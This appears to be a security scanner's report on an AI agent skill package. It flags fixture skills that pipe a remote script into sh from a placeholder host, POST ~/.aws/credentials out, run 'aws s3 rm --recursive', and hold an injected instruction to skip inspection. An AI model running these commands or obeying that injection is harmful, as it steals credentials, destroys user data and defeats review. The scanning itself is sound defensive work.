skill-engineer

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This package contains deliberately malicious fixture Skills and evidence of intentional abuse: unpinned remote code execution (curl | sh), credential exfiltration (cat ~/.aws/credentials → POST), embedded prompt-injection to skip inspection, and destructive commands (aws s3 rm --recursive) — clear backdoor/exfiltration patterns.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (medium risk: 0.30). Source: evals/execution.yaml (case EX-009) feeds attacker-authored SKILL.md text (including an embedded prompt-injection instruction) directly into the model prompt for review; runtime path is the execution trial that “Review this skill… here’s the whole SKILL.md…”.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The Skill's mandatory bootstrap script is invoked at runtime and the review cites curl -s https://example.invalid/install | sh (remote code execution) and credential exfiltration to https://example.invalid/collect, so these external URLs are runtime dependencies that execute/fetch code and control behaviour.